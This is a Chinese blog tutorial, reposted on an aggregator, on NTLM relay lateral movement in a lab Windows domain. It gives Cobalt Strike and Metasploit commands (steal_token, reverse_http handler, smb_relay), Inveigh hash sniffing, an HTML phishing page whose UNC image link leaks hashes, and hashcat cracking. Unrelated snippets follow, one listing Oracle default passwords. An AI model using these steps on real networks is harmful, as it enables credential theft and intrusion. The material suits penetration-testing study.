内网横向移动—NTLM-Relay重放&Responder中继攻击&Ldap&Ews_responder攻击-程序员宅基地

技术标签：网络安全学习 # 内网渗透 NTML-Relay重放横向移动服务器网络安全内网渗透

1. 前置了解

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现，运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用，NTLM Relay又包括（relay to smb,ldap,ews）
可以应用在获取不到明文或HASH时采用的手法，但也要注意手法的必备条件。

1.1. MSF与CS切换权限

在正常CS或者MSF上线的时候，我们的目标通常是普通用户上线，如何提权到system权限，但是有时候需要使用到administrator，就会导致我们没有会话去连接，那么这里就是介绍一下，如何切换会话中的权限，同时要注意的是，低权限会话是无法切换至高权限的，但是高权限能够切换至低权限，相当于system权限能够切换到administrator，但是webadmin权限是无法切换至administrator权限的，这个是需要注意的。

简单来说，我们需要获取到最高权限才能降权限。

1.1.1. CS会话中切换权限

首先利用CS会话中高权限去查看进程，观察进程中有哪些是administrator权限再运行的，然后记录这个进程的PID值，其次切换PID值即可。

1.1.1.1. 查看进程

这里我先提前给各位看了一下，我的现在的权限是system权限，然后使用ps查看了一下哪些是administrator权限再运行的，这里我看到一个PID号位2336的。

ps  ##查看运行进程

在这里插入图片描述

1.1.1.2. 权限权限

这里可以看到我成功切换了权限。

steal_token 2336   ##切换权限  2336 是PID进程号

在这里插入图片描述

1.1.2. MSF会话中切换权限

这里我就不说进程了，是一样的操作，都是查进程记PID，然后切换，只是切换命令有点不同。

migrate 1992   #1992是PID号

在这里插入图片描述

2. NTLM中继攻击—Relay重放—SMB上线

在使用Relay重放的时候需要有一个前置条件，这个条件就是需要通讯的双方账户与密码是一致的，例如：Windows server 2012 DC中有administrator/admin@123，同时Windows server 2008 域内主机虽然登陆的是0day/webadmin，但是还是如果其中的administrator账户的与密码和DC是一样的，那么就可以进行访问，因为访问的时候默认是使用当前的账户密码去与对方的账户密码进行校验。

2.1. 案例测试

这里我们对DC进行测试一下，案例配置如下：

域控DC：192.168.3.142  administrator/admin@123
域内主机：192.168.3.10  administrator/admin@123
											 webadmin/admin@123

从上述也能够看出，密码都是一样的，只有账户存在不同，下面就来进行测试，看看是否验证了之前的说法。

2.1.1. 同账户密码测试

我将域内主机也切换到administrator，来进行测试，按照这个条件，那么此时的域控DC与域内主机是相同账户密码，可以看到直接就能够访问，并未出现什么报错。

在这里插入图片描述

2.1.2. 不同账户同密码测试

我将域内主机切换到webadmin，来进行测试，按照条件，目前是不同的账户，但是密码是相同的，可以看到这里直接就是拒绝访问，当然这里应该是账户密码错误的，这里拒绝访问应该是域控设置权限的问题。

在这里插入图片描述

2.2. CS联动MSF测试

先让域内主机上线CS，由于CS中没有相应的功能，需要使用联动MSF进行测试，同时这里要把传输过来的会话提权到systeam进行执行。

至于CS的上线操作这里就不多说了。

2.2.1. CS转发MSF上线

在上篇文章中已经介绍CS转发MSF上线了，这里就不提了，直接看操作，也不介绍了。

2.2.1.1. 案例操作

注意这里一定要先run，然后CS再进行操作，不然容易监听不起来。

CS：新建会话，会话选择监听的那个MSF，也可以使用命令：spawn msf
MSF：设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 3010
run

在这里插入图片描述

2.2.1.2. 添加路由

由于域控是在内网中，所以需要给会话添加一个相应的路由，这样MSF就能够连接域内主机。

run autoroute -p ##查看当前路由表
run post/multi/manage/autoroute ##添加当前路由表
backgroup ##返回

在这里插入图片描述

2.2.2. 重放模块攻击

这里就需要使用到SMB重放模块进行攻击，这里看完下面的操作，再看图就能看懂了，同样前提条件就是账号密码相同，才能利用成功，如果不同就无法利用。

在这里插入图片描述

2.2.2.1. 模块设置

这里我就直接说了并未成功，只返回了hash值，但是会话并未建立起来，我查询了一下，确实网上很多文章都未成功，不过也有说64位系统未成功，但是32位系统成功了，这…所以我也不想切换32位系统进行测试了，如果只有32位系统能够成功，那真的就太鸡肋了，同时还有一种情况，目前更新的msf都是新的，会不会是msf模块中的一个小bug问题，所导致的。

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.142   #攻击目标
set lhost 192.168.10.20   #设置本地 IP
set autorunscript post/windows/manage/migrate
set payload windows/meterpreter/bind_tcp  ##设置正向连接
set rhost 192.168.3.142 #设置连接目标
run

在这里插入图片描述

2.2.2.2. 访问设置

这里需要在被控主机上访问攻击主机地址，简单来说，就是被控主机去访问攻击机，将自生的账户密码相当于发送给攻击机，让攻击机获取到账号密码再去访问域控，实现攻击机中继拦截上线。

同时需要注意要使用administrator权限去操作。

dir \\192.168.10.20\c$

在这里插入图片描述

3. NTLM中继攻击-Inveigh嗅探-Hash破解

这个攻击手段就是攻击者在被控主机上伪造一个SMB服务器，当内网中有机器对被控主机进行SMB访问的时候，内网中的主机先访问攻击者伪造的SMB服务器，然后伪造的SMB服务器再将访问流量重放给被控主机，在这个过程中，内网主机是毫无感觉的，但是内网主机访问的用户的账号与密码的hash值均被伪造的SMB服务器获取。

Inveigh嗅探

hash破解

这里由于我的虚拟机中都不止.net3.5，而且不知道为什么无法安装，也挺麻烦的，所以直接借鉴别人的加口述的，主要是操作很简单，不复杂，所以就懒得弄了。

3.1. 开启监听

这里不建议将这个监听，放在本地去监听，容易出现问题，由于工具并不是很大，可以将工具上传至被控服务器上，实际情况中如果被杀，那么就只能本地监听了。

这里还需要注意的是开启监听，一定要是内网主机都会访问这个主机，例如：开启监控的主机是域控，那你域内主机不访问域控的SMB那么就监听不到。

Inveigh.exe

在这里插入图片描述

3.2. 开始拦截

这里也是，你访问的一定要是那个被监听的域内主机，不然无法获取到。

dir \\192.168.3.x\c$

在这里插入图片描述

3.3. 钓鱼页面

这里可能会存在一个问题就是，我平时就不访问域控主机，而且谁闲着没事，使用dir去访问啊，而且域内使用者，都是办公人员，也不会这些操作，所以就需要设置一个钓鱼页面，挂载在内部的web解密中，或者你主动发送给域内主机。

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3.4. 破解密文

但是这里有问题哦，如果虚拟机配置不够是会出现报错的，这个破解可能是需要进行加密计算的，然后比对，所以配置低，可能无法运行那么打的并发吧。看配置是需要4h4g…

hashcat -m 5600 hash1 pass2.txt  --show

本文链接：https://blog.csdn.net/weixin_44268918/article/details/132003810

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

python 描述符_Python黑魔法之描述符-程序员宅基地

文章浏览阅读113次。引言Descriptors(描述符)是Python语言中一个深奥但很重要的一个黑魔法，它被广泛应用于Python语言的内核，熟练掌握描述符将会为Python程序员的工具箱添加一个额外的技巧。本文我将讲述描述符的定义以及一些常见的场景，并且在文末会补充一下__getattr__，__getattribute__,__getitem__这三个同样涉及到属性访问的魔术方法。描述符的定义descr__g..._python revealaccess

jenkins自动化部署及三种构建部署方式_jenkins自动和手动部署-程序员宅基地

文章浏览阅读504次。jenkins自动化部署及三种构建部署方式jenkins是基于java开发的一种持续集成工具，用于监控持续重复的工作，功能包括。1、持续的软件版本发布/测试2、监控外部调用执行项目Jenkins其实很早之前就有了，最近火起来的原因是，大家都在关注devops，关注如何来做持续集成，持续交付，如何来做CI/CD。Jenkins作为持续集成的工具，他其实只是一个平台或者是一个大的框架，它的工作完全就是依靠插件，也就是说你想使用什么功能，你就找到什么样的插件。1.2.jenkins好处1、我在工作中部_jenkins自动和手动部署

GMSK调制解调误码率matlab仿真_gmsk码间干扰-程序员宅基地

文章浏览阅读1.6k次，点赞25次，收藏35次。GMSK（高斯最小频移键控）是一种连续相位的频移键控（CPFSK）调制方法，它在数字通信中得到了广泛应用，特别是在移动通信系统中。GMSK通过限制频率偏差的累积来减少带外辐射，并通过使用高斯滤波器对基带信号进行预调制来平滑相位路径。_gmsk码间干扰

Reader类和Writer类_sreader_writer_uoml-程序员宅基地

文章浏览阅读3k次。从键盘读入用户的输入，并显示在屏幕上1. 效果图2. Java代码package com.example.demo.file;import java.io.InputStreamReader;import java.io.OutputStreamWriter;/** * @Description Reader类和Writer类 * @author 大都督 * @date 2..._sreader_writer_uoml

python编码问题之encode、decode、codecs模块_python中encode在什么模块-程序员宅基地

文章浏览阅读2.1k次。原文链接先说说编解码问题编码转换时，通常需要以unicode作为中间编码，即先将其他编码的字符串解码（decode）成unicode，再从unicode编码（encode）成另一种编码。 Eg：str1.decode('gb2312') #将gb2312编码的字符串转换成unicode编码str2.encode('gb2312') #将unicode编码..._python中encode在什么模块

Java数据流-程序员宅基地

文章浏览阅读949次，点赞21次，收藏15次。本文介绍了Java中的数据输入流（DataInputStream）和数据输出流（DataOutputStream）的使用方法。

随便推点

ORACLE常用傻瓜问题1000问-程序员宅基地

文章浏览阅读678次。1. oracle安装完成后的初始口令? 　internal/oracle 　　sys/change_on_install 　　system/manager 　　scott/tiger 　　sysman/oem_temp 2. orACLE9IAS WEB CACHE的初始默认用户和密码？ administrator/administrator 3. oracle 8.0.5怎么创建数据库?

iOS UISearchBar改变搜索框的颜色_ios searchbar 设置搜索狂颜色-程序员宅基地

文章浏览阅读2.1k次。[objc] view plain copy //搜索框 - (UISearchBar *)searchBar{ if (_searchBar == nil) { _searchBar = [[UISearchBar alloc]initWithFrame:CGRectMake(0, 27, KScreenWidth_ios searchbar 设置搜索狂颜色

ADADELTA AN ADAPTIVE LEARNING RATE METHOD_adadelta一种自适应学习率方法-程序员宅基地

文章浏览阅读527次。ADADELTA: AN ADAPTIVE LEARNING RATE METHOD参考：[自适应学习率调整AdaDelta](https://www.cnblogs.com/neopenx/p/4768388.html)我们提出了一种新的梯度下降的逐维学习率方法ADADELTA。该方法仅使用一阶信息随时间动态地适应，并且除了一般的随机梯度下降外，具有最小的计算开销。该方法不需要人工调整学习速率，对噪声梯度信息、不同模型结构选择、不同数据模式和超参数选择具有鲁棒性。与其他方法相比，我们在分布式集群环境下_adadelta一种自适应学习率方法

从零开始一个微信小程序版知乎_微信小程序开发知乎-程序员宅基地

文章浏览阅读1.5k次。以前工作没直接进行过小程序的开发，最近闲了下来就赶紧学习一下。因为从零开始，所以没有使用任何框架及UI库，记录一下本次开发中踩过的坑吧~展示效果(界面样式设计与交互来自iOS 4.8.0版本知乎App)：动态效果请移步到GitHub查看。一、开始前的准备申请账号：根据小程序注册文档，填写信息和提交相应的资料，就可以拥有自己的小程序帐号。开发工具：微信开发者工具数据来源：Easy M..._微信小程序开发知乎

centos uwsgi配置_在CentOS 7下安装uwsgi_uwsgi离线安装centos-程序员宅基地

文章浏览阅读153次。https://blog.csdn.net/weixin_35886269/article/details/112941217_uwsgi离线安装centos

关于使用CryPtopp库进行RSA签名与验签的一些说明_cryptopp 签名-程序员宅基地

文章浏览阅读449次，点赞9次，收藏7次。这个变量与验签过程中的SignatureVerificationFilter::PUT_MESSAGE这个宏是对应的，SignatureVerificationFilter::PUT_MESSAGE，如果在签名过程中putMessage设置为true，则在验签过程中需要添加SignatureVerificationFilter::PUT_MESSAGE。项目中使用到了CryPtopp库进行RSA签名与验签，但是在使用过程中反复提示无效的数字签名。否则就会出现文章开头出现的数字签名无效。_cryptopp 签名